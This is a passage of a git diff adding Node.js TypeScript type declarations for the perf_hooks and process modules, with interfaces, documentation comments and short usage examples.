"node"; + /** + * The high resolution millisecond timestamp at which the Node.js process + * completed bootstrapping. If bootstrapping has not yet finished, the property + * has the value of -1. + * @since v8.5.0 + */ + readonly bootstrapComplete: number; + /** + * The high resolution millisecond timestamp at which the Node.js environment was + * initialized. + * @since v8.5.0 + */ + readonly environment: number; + /** + * The high resolution millisecond timestamp of the amount of time the event loop + * has been idle within the event loop's event provider (e.g. `epoll_wait`). This + * does not take CPU usage into consideration. If the event loop has not yet + * started (e.g., in the first tick of the main script), the property has the + * value of 0. + * @since v14.10.0, v12.19.0 + */ + readonly idleTime: number; + /** + * The high resolution millisecond timestamp at which the Node.js event loop + * exited. If the event loop has not yet exited, the property has the value of -1\. + * It can only have a value of not -1 in a handler of the `'exit'` event. + * @since v8.5.0 + */ + readonly loopExit: number; + /** + * The high resolution millisecond timestamp at which the Node.js event loop + * started. If the event loop has not yet started (e.g., in the first tick of the + * main script), the property has the value of -1. + * @since v8.5.0 + */ + readonly loopStart: number; + /** + * The high resolution millisecond timestamp at which the Node.js process was initialized. + * @since v8.5.0 + */ + readonly nodeStart: number; + /** + * The high resolution millisecond timestamp at which the V8 platform was + * initialized. + * @since v8.5.0 + */ + readonly v8Start: number; + } + interface EventLoopUtilization { + idle: number; + active: number; + utilization: number; + } + /** + * @param utilization1 The result of a previous call to `eventLoopUtilization()`. + * @param utilization2 The result of a previous call to `eventLoopUtilization()` prior to `utilization1`. + */ + type EventLoopUtilityFunction = ( + utilization1?: EventLoopUtilization, + utilization2?: EventLoopUtilization, + ) => EventLoopUtilization; + interface MarkOptions { + /** + * Additional optional detail to include with the mark. + */ + detail?: unknown | undefined; + /** + * An optional timestamp to be used as the mark time. + * @default `performance.now()` + */ + startTime?: number | undefined; + } + interface MeasureOptions { + /** + * Additional optional detail to include with the mark. + */ + detail?: unknown | undefined; + /** + * Duration between start and end times. + */ + duration?: number | undefined; + /** + * Timestamp to be used as the end time, or a string identifying a previously recorded mark. + */ + end?: number | string | undefined; + /** + * Timestamp to be used as the start time, or a string identifying a previously recorded mark. + */ + start?: number | string | undefined; + } + interface TimerifyOptions { + /** + * A histogram object created using `perf_hooks.createHistogram()` that will record runtime + * durations in nanoseconds. + */ + histogram?: RecordableHistogram | undefined; + } + interface Performance { + /** + * If `name` is not provided, removes all `PerformanceMark` objects from the Performance Timeline. + * If `name` is provided, removes only the named mark. + * @since v8.5.0 + */ + clearMarks(name?: string): void; + /** + * If `name` is not provided, removes all `PerformanceMeasure` objects from the Performance Timeline. + * If `name` is provided, removes only the named measure. + * @since v16.7.0 + */ + clearMeasures(name?: string): void; + /** + * If `name` is not provided, removes all `PerformanceResourceTiming` objects from the Resource Timeline. + * If `name` is provided, removes only the named resource. + * @since v18.2.0, v16.17.0 + */ + clearResourceTimings(name?: string): void; + /** + * eventLoopUtilization is similar to CPU utilization except that it is calculated using high precision wall-clock time. + * It represents the percentage of time the event loop has spent outside the event loop's event provider (e.g. epoll_wait). + * No other CPU idle time is taken into consideration. + */ + eventLoopUtilization: EventLoopUtilityFunction; + /** + * Returns a list of `PerformanceEntry` objects in chronological order with respect to `performanceEntry.startTime`. + * If you are only interested in performance entries of certain types or that have certain names, see + * `performance.getEntriesByType()` and `performance.getEntriesByName()`. + * @since v16.7.0 + */ + getEntries(): PerformanceEntry[]; + /** + * Returns a list of `PerformanceEntry` objects in chronological order with respect to `performanceEntry.startTime` + * whose `performanceEntry.name` is equal to `name`, and optionally, whose `performanceEntry.entryType` is equal to `type`. + * @param name + * @param type + * @since v16.7.0 + */ + getEntriesByName(name: string, type?: EntryType): PerformanceEntry[]; + /** + * Returns a list of `PerformanceEntry` objects in chronological order with respect to `performanceEntry.startTime` + * whose `performanceEntry.entryType` is equal to `type`. + * @param type + * @since v16.7.0 + */ + getEntriesByType(type: EntryType): PerformanceEntry[]; + /** + * Creates a new `PerformanceMark` entry in the Performance Timeline. + * A `PerformanceMark` is a subclass of `PerformanceEntry` whose `performanceEntry.entryType` is always `'mark'`, + * and whose `performanceEntry.duration` is always `0`. + * Performance marks are used to mark specific significant moments in the Performance Timeline. + * + * The created `PerformanceMark` entry is put in the global Performance Timeline and can be queried with + * `performance.getEntries`, `performance.getEntriesByName`, and `performance.getEntriesByType`. When the observation is + * performed, the entries should be cleared from the global Performance Timeline manually with `performance.clearMarks`. + * @param name + */ + mark(name: string, options?: MarkOptions): PerformanceMark; + /** + * Creates a new `PerformanceResourceTiming` entry in the Resource Timeline. + * A `PerformanceResourceTiming` is a subclass of `PerformanceEntry` whose `performanceEntry.entryType` is always `'resource'`. + * Performance resources are used to mark moments in the Resource Timeline. + * @param timingInfo [Fetch Timing Info](https://fetch.spec.whatwg.org/#fetch-timing-info) + * @param requestedUrl The resource url + * @param initiatorType The initiator name, e.g: 'fetch' + * @param global + * @param cacheMode The cache mode must be an empty string ('') or 'local' + * @param bodyInfo [Fetch Response Body Info](https://fetch.spec.whatwg.org/#response-body-info) + * @param responseStatus The response's status code + * @param deliveryType The delivery type. Default: ''. + * @since v18.2.0, v16.17.0 + */ + markResourceTiming( + timingInfo: object, + requestedUrl: string, + initiatorType: string, + global: object, + cacheMode: "" | "local", + bodyInfo: object, + responseStatus: number, + deliveryType?: string, + ): PerformanceResourceTiming; + /** + * Creates a new PerformanceMeasure entry in the Performance Timeline. + * A PerformanceMeasure is a subclass of PerformanceEntry whose performanceEntry.entryType is always 'measure', + * and whose performanceEntry.duration measures the number of milliseconds elapsed since startMark and endMark. + * + * The startMark argument may identify any existing PerformanceMark in the the Performance Timeline, or may identify + * any of the timestamp properties provided by the PerformanceNodeTiming class. If the named startMark does not exist, + * then startMark is set to timeOrigin by default. + * + * The endMark argument must identify any existing PerformanceMark in the the Performance Timeline or any of the timestamp + * properties provided by the PerformanceNodeTiming class. If the named endMark does not exist, an error will be thrown. + * @param name + * @param startMark + * @param endMark + * @return The PerformanceMeasure entry that was created + */ + measure(name: string, startMark?: string, endMark?: string): PerformanceMeasure; + measure(name: string, options: MeasureOptions): PerformanceMeasure; + /** + * _This property is an extension by Node.js. It is not available in Web browsers._ + * + * An instance of the `PerformanceNodeTiming` class that provides performance metrics for specific Node.js operational milestones. + * @since v8.5.0 + */ + readonly nodeTiming: PerformanceNodeTiming; + /** + * Returns the current high resolution millisecond timestamp, where 0 represents the start of the current `node` process. + * @since v8.5.0 + */ + now(): number; + /** + * Sets the global performance resource timing buffer size to the specified number of "resource" type performance entry objects. + * + * By default the max buffer size is set to 250. + * @since v18.8.0 + */ + setResourceTimingBufferSize(maxSize: number): void; + /** + * The [`timeOrigin`](https://w3c.github.io/hr-time/#dom-performance-timeorigin) specifies the high resolution millisecond timestamp + * at which the current `node` process began, measured in Unix time. + * @since v8.5.0 + */ + readonly timeOrigin: number; + /** + * _This property is an extension by Node.js. It is not available in Web browsers._ + * + * Wraps a function within a new function that measures the running time of the wrapped function. + * A `PerformanceObserver` must be subscribed to the `'function'` event type in order for the timing details to be accessed. + * + * ```js + * import { + * performance, + * PerformanceObserver, + * } from 'node:perf_hooks'; + * + * function someFunction() { + * console.log('hello world'); + * } + * + * const wrapped = performance.timerify(someFunction); + * + * const obs = new PerformanceObserver((list) => { + * console.log(list.getEntries()[0].duration); + * + * performance.clearMarks(); + * performance.clearMeasures(); + * obs.disconnect(); + * }); + * obs.observe({ entryTypes: ['function'] }); + * + * // A performance timeline entry will be created + * wrapped(); + * ``` + * + * If the wrapped function returns a promise, a finally handler will be attached to the promise and the duration will be reported + * once the finally handler is invoked. + * @param fn + */ + timerify any>(fn: T, options?: TimerifyOptions): T; + /** + * An object which is JSON representation of the performance object. It is similar to + * [`window.performance.toJSON`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/toJSON) in browsers. + * @since v16.1.0 + */ + toJSON(): any; + } + class PerformanceObserverEntryList { + /** + * Returns a list of `PerformanceEntry` objects in chronological order + * with respect to `performanceEntry.startTime`. + * + * ```js + * import { + * performance, + * PerformanceObserver, + * } from 'node:perf_hooks'; + * + * const obs = new PerformanceObserver((perfObserverList, observer) => { + * console.log(perfObserverList.getEntries()); + * + * * [ + * * PerformanceEntry { + * * name: 'test', + * * entryType: 'mark', + * * startTime: 81.465639, + * * duration: 0, + * * detail: null + * * }, + * * PerformanceEntry { + * * name: 'meow', + * * entryType: 'mark', + * * startTime: 81.860064, + * * duration: 0, + * * detail: null + * * } + * * ] + * + * performance.clearMarks(); + * performance.clearMeasures(); + * observer.disconnect(); + * }); + * obs.observe({ type: 'mark' }); + * + * performance.mark('test'); + * performance.mark('meow'); + * ``` + * @since v8.5.0 + */ + getEntries(): PerformanceEntry[]; + /** + * Returns a list of `PerformanceEntry` objects in chronological order + * with respect to `performanceEntry.startTime` whose `performanceEntry.name` is + * equal to `name`, and optionally, whose `performanceEntry.entryType` is equal to`type`. + * + * ```js + * import { + * performance, + * PerformanceObserver, + * } from 'node:perf_hooks'; + * + * const obs = new PerformanceObserver((perfObserverList, observer) => { + * console.log(perfObserverList.getEntriesByName('meow')); + * + * * [ + * * PerformanceEntry { + * * name: 'meow', + * * entryType: 'mark', + * * startTime: 98.545991, + * * duration: 0, + * * detail: null + * * } + * * ] + * + * console.log(perfObserverList.getEntriesByName('nope')); // [] + * + * console.log(perfObserverList.getEntriesByName('test', 'mark')); + * + * * [ + * * PerformanceEntry { + * * name: 'test', + * * entryType: 'mark', + * * startTime: 63.518931, + * * duration: 0, + * * detail: null + * * } + * * ] + * + * console.log(perfObserverList.getEntriesByName('test', 'measure')); // [] + * + * performance.clearMarks(); + * performance.clearMeasures(); + * observer.disconnect(); + * }); + * obs.observe({ entryTypes: ['mark', 'measure'] }); + * + * performance.mark('test'); + * performance.mark('meow'); + * ``` + * @since v8.5.0 + */ + getEntriesByName(name: string, type?: EntryType): PerformanceEntry[]; + /** + * Returns a list of `PerformanceEntry` objects in chronological order + * with respect to `performanceEntry.startTime` whose `performanceEntry.entryType` is equal to `type`. + * + * ```js + * import { + * performance, + * PerformanceObserver, + * } from 'node:perf_hooks'; + * + * const obs = new PerformanceObserver((perfObserverList, observer) => { + * console.log(perfObserverList.getEntriesByType('mark')); + * + * * [ + * * PerformanceEntry { + * * name: 'test', + * * entryType: 'mark', + * * startTime: 55.897834, + * * duration: 0, + * * detail: null + * * }, + * * PerformanceEntry { + * * name: 'meow', + * * entryType: 'mark', + * * startTime: 56.350146, + * * duration: 0, + * * detail: null + * * } + * * ] + * + * performance.clearMarks(); + * performance.clearMeasures(); + * observer.disconnect(); + * }); + * obs.observe({ type: 'mark' }); + * + * performance.mark('test'); + * performance.mark('meow'); + * ``` + * @since v8.5.0 + */ + getEntriesByType(type: EntryType): PerformanceEntry[]; + } + type PerformanceObserverCallback = (list: PerformanceObserverEntryList, observer: PerformanceObserver) => void; + /** + * @since v8.5.0 + */ + class PerformanceObserver extends AsyncResource { + constructor(callback: PerformanceObserverCallback); + /** + * Disconnects the `PerformanceObserver` instance from all notifications. + * @since v8.5.0 + */ + disconnect(): void; + /** + * Subscribes the `PerformanceObserver` instance to notifications of new `PerformanceEntry` instances identified either by `options.entryTypes` or `options.type`: + * + * ```js + * import { + * performance, + * PerformanceObserver, + * } from 'node:perf_hooks'; + * + * const obs = new PerformanceObserver((list, observer) => { + * // Called once asynchronously. `list` contains three items. + * }); + * obs.observe({ type: 'mark' }); + * + * for (let n = 0; n < 3; n++) + * performance.mark(`test${n}`); + * ``` + * @since v8.5.0 + */ + observe( + options: + | { + entryTypes: readonly EntryType[]; + buffered?: boolean | undefined; + } + | { + type: EntryType; + buffered?: boolean | undefined; + }, + ): void; + } + /** + * Provides detailed network timing data regarding the loading of an application's resources. + * + * The constructor of this class is not exposed to users directly. + * @since v18.2.0, v16.17.0 + */ + class PerformanceResourceTiming extends PerformanceEntry { + readonly entryType: "resource"; + protected constructor(); + /** + * The high resolution millisecond timestamp at immediately before dispatching the `fetch` + * request. If the resource is not intercepted by a worker the property will always return 0. + * @since v18.2.0, v16.17.0 + */ + readonly workerStart: number; + /** + * The high resolution millisecond timestamp that represents the start time of the fetch which + * initiates the redirect. + * @since v18.2.0, v16.17.0 + */ + readonly redirectStart: number; + /** + * The high resolution millisecond timestamp that will be created immediately after receiving + * the last byte of the response of the last redirect. + * @since v18.2.0, v16.17.0 + */ + readonly redirectEnd: number; + /** + * The high resolution millisecond timestamp immediately before the Node.js starts to fetch the resource. + * @since v18.2.0, v16.17.0 + */ + readonly fetchStart: number; + /** + * The high resolution millisecond timestamp immediately before the Node.js starts the domain name lookup + * for the resource. + * @since v18.2.0, v16.17.0 + */ + readonly domainLookupStart: number; + /** + * The high resolution millisecond timestamp representing the time immediately after the Node.js finished + * the domain name lookup for the resource. + * @since v18.2.0, v16.17.0 + */ + readonly domainLookupEnd: number; + /** + * The high resolution millisecond timestamp representing the time immediately before Node.js starts to + * establish the connection to the server to retrieve the resource. + * @since v18.2.0, v16.17.0 + */ + readonly connectStart: number; + /** + * The high resolution millisecond timestamp representing the time immediately after Node.js finishes + * establishing the connection to the server to retrieve the resource. + * @since v18.2.0, v16.17.0 + */ + readonly connectEnd: number; + /** + * The high resolution millisecond timestamp representing the time immediately before Node.js starts the + * handshake process to secure the current connection. + * @since v18.2.0, v16.17.0 + */ + readonly secureConnectionStart: number; + /** + * The high resolution millisecond timestamp representing the time immediately before Node.js receives the + * first byte of the response from the server. + * @since v18.2.0, v16.17.0 + */ + readonly requestStart: number; + /** + * The high resolution millisecond timestamp representing the time immediately after Node.js receives the + * last byte of the resource or immediately before the transport connection is closed, whichever comes first. + * @since v18.2.0, v16.17.0 + */ + readonly responseEnd: number; + /** + * A number representing the size (in octets) of the fetched resource. The size includes the response header + * fields plus the response payload body. + * @since v18.2.0, v16.17.0 + */ + readonly transferSize: number; + /** + * A number representing the size (in octets) received from the fetch (HTTP or cache), of the payload body, before + * removing any applied content-codings. + * @since v18.2.0, v16.17.0 + */ + readonly encodedBodySize: number; + /** + * A number representing the size (in octets) received from the fetch (HTTP or cache), of the message body, after + * removing any applied content-codings. + * @since v18.2.0, v16.17.0 + */ + readonly decodedBodySize: number; + /** + * Returns a `object` that is the JSON representation of the `PerformanceResourceTiming` object + * @since v18.2.0, v16.17.0 + */ + toJSON(): any; + } + namespace constants { + const NODE_PERFORMANCE_GC_MAJOR: number; + const NODE_PERFORMANCE_GC_MINOR: number; + const NODE_PERFORMANCE_GC_INCREMENTAL: number; + const NODE_PERFORMANCE_GC_WEAKCB: number; + const NODE_PERFORMANCE_GC_FLAGS_NO: number; + const NODE_PERFORMANCE_GC_FLAGS_CONSTRUCT_RETAINED: number; + const NODE_PERFORMANCE_GC_FLAGS_FORCED: number; + const NODE_PERFORMANCE_GC_FLAGS_SYNCHRONOUS_PHANTOM_PROCESSING: number; + const NODE_PERFORMANCE_GC_FLAGS_ALL_AVAILABLE_GARBAGE: number; + const NODE_PERFORMANCE_GC_FLAGS_ALL_EXTERNAL_MEMORY: number; + const NODE_PERFORMANCE_GC_FLAGS_SCHEDULE_IDLE: number; + } + const performance: Performance; + interface EventLoopMonitorOptions { + /** + * The sampling rate in milliseconds. + * Must be greater than zero. + * @default 10 + */ + resolution?: number | undefined; + } + interface Histogram { + /** + * The number of samples recorded by the histogram. + * @since v17.4.0, v16.14.0 + */ + readonly count: number; + /** + * The number of samples recorded by the histogram. + * v17.4.0, v16.14.0 + */ + readonly countBigInt: bigint; + /** + * The number of times the event loop delay exceeded the maximum 1 hour event + * loop delay threshold. + * @since v11.10.0 + */ + readonly exceeds: number; + /** + * The number of times the event loop delay exceeded the maximum 1 hour event loop delay threshold. + * @since v17.4.0, v16.14.0 + */ + readonly exceedsBigInt: bigint; + /** + * The maximum recorded event loop delay. + * @since v11.10.0 + */ + readonly max: number; + /** + * The maximum recorded event loop delay. + * v17.4.0, v16.14.0 + */ + readonly maxBigInt: number; + /** + * The mean of the recorded event loop delays. + * @since v11.10.0 + */ + readonly mean: number; + /** + * The minimum recorded event loop delay. + * @since v11.10.0 + */ + readonly min: number; + /** + * The minimum recorded event loop delay. + * v17.4.0, v16.14.0 + */ + readonly minBigInt: bigint; + /** + * Returns the value at the given percentile. + * @since v11.10.0 + * @param percentile A percentile value in the range (0, 100]. + */ + percentile(percentile: number): number; + /** + * Returns the value at the given percentile. + * @since v17.4.0, v16.14.0 + * @param percentile A percentile value in the range (0, 100]. + */ + percentileBigInt(percentile: number): bigint; + /** + * Returns a `Map` object detailing the accumulated percentile distribution. + * @since v11.10.0 + */ + readonly percentiles: Map; + /** + * Returns a `Map` object detailing the accumulated percentile distribution. + * @since v17.4.0, v16.14.0 + */ + readonly percentilesBigInt: Map; + /** + * Resets the collected histogram data. + * @since v11.10.0 + */ + reset(): void; + /** + * The standard deviation of the recorded event loop delays. + * @since v11.10.0 + */ + readonly stddev: number; + } + interface IntervalHistogram extends Histogram { + /** + * Enables the update interval timer. Returns `true` if the timer was + * started, `false` if it was already started. + * @since v11.10.0 + */ + enable(): boolean; + /** + * Disables the update interval timer. Returns `true` if the timer was + * stopped, `false` if it was already stopped. + * @since v11.10.0 + */ + disable(): boolean; + } + interface RecordableHistogram extends Histogram { + /** + * @since v15.9.0, v14.18.0 + * @param val The amount to record in the histogram. + */ + record(val: number | bigint): void; + /** + * Calculates the amount of time (in nanoseconds) that has passed since the + * previous call to `recordDelta()` and records that amount in the histogram. + * @since v15.9.0, v14.18.0 + */ + recordDelta(): void; + /** + * Adds the values from `other` to this histogram. + * @since v17.4.0, v16.14.0 + */ + add(other: RecordableHistogram): void; + } + /** + * _This property is an extension by Node.js. It is not available in Web browsers._ + * + * Creates an `IntervalHistogram` object that samples and reports the event loop + * delay over time. The delays will be reported in nanoseconds. + * + * Using a timer to detect approximate event loop delay works because the + * execution of timers is tied specifically to the lifecycle of the libuv + * event loop. That is, a delay in the loop will cause a delay in the execution + * of the timer, and those delays are specifically what this API is intended to + * detect. + * + * ```js + * import { monitorEventLoopDelay } from 'node:perf_hooks'; + * const h = monitorEventLoopDelay({ resolution: 20 }); + * h.enable(); + * // Do something. + * h.disable(); + * console.log(h.min); + * console.log(h.max); + * console.log(h.mean); + * console.log(h.stddev); + * console.log(h.percentiles); + * console.log(h.percentile(50)); + * console.log(h.percentile(99)); + * ``` + * @since v11.10.0 + */ + function monitorEventLoopDelay(options?: EventLoopMonitorOptions): IntervalHistogram; + interface CreateHistogramOptions { + /** + * The minimum recordable value. Must be an integer value greater than 0. + * @default 1 + */ + min?: number | bigint | undefined; + /** + * The maximum recordable value. Must be an integer value greater than min. + * @default Number.MAX_SAFE_INTEGER + */ + max?: number | bigint | undefined; + /** + * The number of accuracy digits. Must be a number between 1 and 5. + * @default 3 + */ + figures?: number | undefined; + } + /** + * Returns a `RecordableHistogram`. + * @since v15.9.0, v14.18.0 + */ + function createHistogram(options?: CreateHistogramOptions): RecordableHistogram; + import { + performance as _performance, + PerformanceEntry as _PerformanceEntry, + PerformanceMark as _PerformanceMark, + PerformanceMeasure as _PerformanceMeasure, + PerformanceObserver as _PerformanceObserver, + PerformanceObserverEntryList as _PerformanceObserverEntryList, + PerformanceResourceTiming as _PerformanceResourceTiming, + } from "perf_hooks"; + global { + /** + * `PerformanceEntry` is a global reference for `import { PerformanceEntry } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performanceentry + * @since v19.0.0 + */ + var PerformanceEntry: typeof globalThis extends { + onmessage: any; + PerformanceEntry: infer T; + } ? T + : typeof _PerformanceEntry; + /** + * `PerformanceMark` is a global reference for `import { PerformanceMark } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performancemark + * @since v19.0.0 + */ + var PerformanceMark: typeof globalThis extends { + onmessage: any; + PerformanceMark: infer T; + } ? T + : typeof _PerformanceMark; + /** + * `PerformanceMeasure` is a global reference for `import { PerformanceMeasure } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performancemeasure + * @since v19.0.0 + */ + var PerformanceMeasure: typeof globalThis extends { + onmessage: any; + PerformanceMeasure: infer T; + } ? T + : typeof _PerformanceMeasure; + /** + * `PerformanceObserver` is a global reference for `import { PerformanceObserver } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performanceobserver + * @since v19.0.0 + */ + var PerformanceObserver: typeof globalThis extends { + onmessage: any; + PerformanceObserver: infer T; + } ? T + : typeof _PerformanceObserver; + /** + * `PerformanceObserverEntryList` is a global reference for `import { PerformanceObserverEntryList } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performanceobserverentrylist + * @since v19.0.0 + */ + var PerformanceObserverEntryList: typeof globalThis extends { + onmessage: any; + PerformanceObserverEntryList: infer T; + } ? T + : typeof _PerformanceObserverEntryList; + /** + * `PerformanceResourceTiming` is a global reference for `import { PerformanceResourceTiming } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performanceresourcetiming + * @since v19.0.0 + */ + var PerformanceResourceTiming: typeof globalThis extends { + onmessage: any; + PerformanceResourceTiming: infer T; + } ? T + : typeof _PerformanceResourceTiming; + /** + * `performance` is a global reference for `import { performance } from 'node:perf_hooks'` + * @see https://nodejs.org/docs/latest-v22.x/api/globals.html#performance + * @since v16.0.0 + */ + var performance: typeof globalThis extends { + onmessage: any; + performance: infer T; + } ? T + : typeof _performance; + } +} +declare module "node:perf_hooks" { + export * from "perf_hooks"; +} diff --git a/node_modules/@types/node/process.d.ts b/node_modules/@types/node/process.d.ts new file mode 100644 index 000000000000..e7fd20bb9cf3 --- /dev/null +++ b/node_modules/@types/node/process.d.ts @@ -0,0 +1,1912 @@ +declare module "process" { + import * as tty from "node:tty"; + import { Worker } from "node:worker_threads"; + + interface BuiltInModule { + "assert": typeof import("assert"); + "node:assert": typeof import("node:assert"); + "assert/strict": typeof import("assert/strict"); + "node:assert/strict": typeof import("node:assert/strict"); + "async_hooks": typeof import("async_hooks"); + "node:async_hooks": typeof import("node:async_hooks"); + "buffer": typeof import("buffer"); + "node:buffer": typeof import("node:buffer"); + "child_process": typeof import("child_process"); + "node:child_process": typeof import("node:child_process"); + "cluster": typeof import("cluster"); + "node:cluster": typeof import("node:cluster"); + "console": typeof import("console"); + "node:console": typeof import("node:console"); + "constants": typeof import("constants"); + "node:constants": typeof import("node:constants"); + "crypto": typeof import("crypto"); + "node:crypto": typeof import("node:crypto"); + "dgram": typeof import("dgram"); + "node:dgram": typeof import("node:dgram"); + "diagnostics_channel": typeof import("diagnostics_channel"); + "node:diagnostics_channel": typeof import("node:diagnostics_channel"); + "dns": typeof import("dns"); + "node:dns": typeof import("node:dns"); + "dns/promises": typeof import("dns/promises"); + "node:dns/promises": typeof import("node:dns/promises"); + "domain": typeof import("domain"); + "node:domain": typeof import("node:domain"); + "events": typeof import("events"); + "node:events": typeof import("node:events"); + "fs": typeof import("fs"); + "node:fs": typeof import("node:fs"); + "fs/promises": typeof import("fs/promises"); + "node:fs/promises": typeof import("node:fs/promises"); + "http": typeof import("http"); + "node:http": typeof import("node:http"); + "http2": typeof import("http2"); + "node:http2": typeof import("node:http2"); + "https": typeof import("https"); + "node:https": typeof import("node:https"); + "inspector": typeof import("inspector"); + "node:inspector": typeof import("node:inspector"); + "inspector/promises": typeof import("inspector/promises"); + "node:inspector/promises": typeof import("node:inspector/promises"); + "module": typeof import("module"); + "node:module": typeof import("node:module"); + "net": typeof import("net"); + "node:net": typeof import("node:net"); + "os": typeof import("os"); + "node:os": typeof import("node:os"); + "path": typeof import("path"); + "node:path": typeof import("node:path"); + "path/posix": typeof import("path/posix"); + "node:path/posix": typeof import("node:path/posix"); + "path/win32": typeof import("path/win32"); + "node:path/win32": typeof import("node:path/win32"); + "perf_hooks": typeof import("perf_hooks"); + "node:perf_hooks": typeof import("node:perf_hooks"); + "process": typeof import("process"); + "node:process": typeof import("node:process"); + "punycode": typeof import("punycode"); + "node:punycode": typeof import("node:punycode"); + "querystring": typeof import("querystring"); + "node:querystring": typeof import("node:querystring"); + "readline": typeof import("readline"); + "node:readline": typeof import("node:readline"); + "readline/promises": typeof import("readline/promises"); + "node:readline/promises": typeof import("node:readline/promises"); + "repl": typeof import("repl"); + "node:repl": typeof import("node:repl"); + "node:sea": typeof import("node:sea"); + "node:sqlite": typeof import("node:sqlite"); + "stream": typeof import("stream"); + "node:stream": typeof import("node:stream"); + "stream/consumers": typeof import("stream/consumers"); + "node:stream/consumers": typeof import("node:stream/consumers"); + "stream/promises": typeof import("stream/promises"); + "node:stream/promises": typeof import("node:stream/promises"); + "stream/web": typeof import("stream/web"); + "node:stream/web": typeof import("node:stream/web"); + "string_decoder": typeof import("string_decoder"); + "node:string_decoder": typeof import("node:string_decoder"); + "node:test": typeof import("node:test"); + "node:test/reporters": typeof import("node:test/reporters"); + "timers": typeof import("timers"); + "node:timers": typeof import("node:timers"); + "timers/promises": typeof import("timers/promises"); + "node:timers/promises": typeof import("node:timers/promises"); + "tls": typeof import("tls"); + "node:tls": typeof import("node:tls"); + "trace_events": typeof import("trace_events"); + "node:trace_events": typeof import("node:trace_events"); + "tty": typeof import("tty"); + "node:tty": typeof import("node:tty"); + "url": typeof import("url"); + "node:url": typeof import("node:url"); + "util": typeof import("util"); + "node:util": typeof import("node:util"); + "sys": typeof import("util"); + "node:sys": typeof import("node:util"); + "util/types": typeof import("util/types"); + "node:util/types": typeof import("node:util/types"); + "v8": typeof import("v8"); + "node:v8": typeof import("node:v8"); + "vm": typeof import("vm"); + "node:vm": typeof import("node:vm"); + "wasi": typeof import("wasi"); + "node:wasi": typeof import("node:wasi"); + "worker_threads": typeof import("worker_threads"); + "node:worker_threads": typeof import("node:worker_threads"); + "zlib": typeof import("zlib"); + "node:zlib": typeof import("node:zlib"); + } + global { + var process: NodeJS.Process; + namespace NodeJS { + // this namespace merge is here because these are specifically used + // as the type for process.stdin, process.stdout, and process.stderr. + // they can't live in tty.d.ts because we need to disambiguate the imported name. + interface ReadStream extends tty.ReadStream {} + interface WriteStream extends tty.WriteStream {} + interface MemoryUsageFn { + /** + * The `process.memoryUsage()` method iterate over each page to gather informations about memory + * usage which can be slow depending on the program memory allocations. + */ + (): MemoryUsage; + /** + * method returns an integer representing the Resident Set Size (RSS) in bytes. + */ + rss(): number; + } + interface MemoryUsage { + /** + * Resident Set Size, is the amount of space occupied in the main memory device (that is a subset of the total allocated memory) for the + * process, including all C++ and JavaScript objects and code. + */ + rss: number; + /** + * Refers to V8's memory usage. + */ + heapTotal: number; + /** + * Refers to V8's memory usage. + */ + heapUsed: number; + external: number; + /** + * Refers to memory allocated for `ArrayBuffer`s and `SharedArrayBuffer`s, including all Node.js Buffers. This is also included + * in the external value. When Node.js is used as an embedded library, this value may be `0` because allocations for `ArrayBuffer`s + * may not be tracked in that case. + */ + arrayBuffers: number; + } + interface CpuUsage { + user: number; + system: number; + } + interface ProcessRelease { + name: string; + sourceUrl?: string | undefined; + headersUrl?: string | undefined; + libUrl?: string | undefined; + lts?: string | undefined; + } + interface ProcessVersions extends Dict { + http_parser: string; + node: string; + v8: string; + ares: string; + uv: string; + zlib: string; + modules: string; + openssl: string; + } + type Platform = + | "aix" + | "android" + | "darwin" + | "freebsd" + | "haiku" + | "linux" + | "openbsd" + | "sunos" + | "win32" + | "cygwin" + | "netbsd"; + type Architecture = + | "arm" + | "arm64" + | "ia32" + | "loong64" + | "mips" + | "mipsel" + | "ppc" + | "ppc64" + | "riscv64" + | "s390" + | "s390x" + | "x64"; + type Signals = + | "SIGABRT" + | "SIGALRM" + | "SIGBUS" + | "SIGCHLD" + | "SIGCONT" + | "SIGFPE" + | "SIGHUP" + | "SIGILL" + | "SIGINT" + | "SIGIO" + | "SIGIOT" + | "SIGKILL" + | "SIGPIPE" + | "SIGPOLL" + | "SIGPROF" + | "SIGPWR" + | "SIGQUIT" + | "SIGSEGV" + | "SIGSTKFLT" + | "SIGSTOP" + | "SIGSYS" + | "SIGTERM" + | "SIGTRAP" + | "SIGTSTP" + | "SIGTTIN" + | "SIGTTOU" + | "SIGUNUSED" + | "SIGURG" + | "SIGUSR1" + | "SIGUSR2" + | "SIGVTALRM" + | "SIGWINCH" + | "SIGXCPU" + | "SIGXFSZ" + | "SIGBREAK" + | "SIGLOST" + | "SIGINFO"; + type UncaughtExceptionOrigin = "uncaughtException" | "unhandledRejection"; + type MultipleResolveType = "resolve" | "reject"; + type BeforeExitListener = (code: number) => void; + type DisconnectListener = () => void; + type ExitListener = (code: number) => void; + type RejectionHandledListener = (promise: Promise) => void; + type UncaughtExceptionListener = (error: Error, origin: UncaughtExceptionOrigin) => void; + /** + * Most of the time the unhandledRejection will be an Error, but this should not be relied upon + * as *anything* can be thrown/rejected, it is therefore unsafe to assume that the value is an Error. + */ + type UnhandledRejectionListener = (reason: unknown, promise: Promise) => void; + type WarningListener = (warning: Error) => void; + type MessageListener = (message: unknown, sendHandle: unknown) => void; + type SignalsListener = (signal: Signals) => void; + type MultipleResolveListener = ( + type: MultipleResolveType, + promise: Promise, + value: unknown, + ) => void; + type WorkerListener = (worker: Worker) => void; + interface Socket extends ReadWriteStream { + isTTY?: true | undefined; + } + // Alias for compatibility + interface ProcessEnv extends Dict { + /** + * Can be used to change the default timezone at runtime + */ + TZ?: string; + } + interface HRTime { + (time?: [number, number]): [number, number]; + /** + * The `bigint` version of the `{@link hrtime()}` method returning the current high-resolution real time in nanoseconds as a `bigint`. + * + * Unlike `{@link hrtime()}`, it does not support an additional time argument since the difference can just be computed directly by subtraction of the two `bigint`s. + * ```js + * import { hrtime } from 'node:process'; + * + * const start = hrtime.bigint(); + * // 191051479007711n + * + * setTimeout(() => { + * const end = hrtime.bigint(); + * // 191052633396993n + * + * console.log(`Benchmark took ${end - start} nanoseconds`); + * // 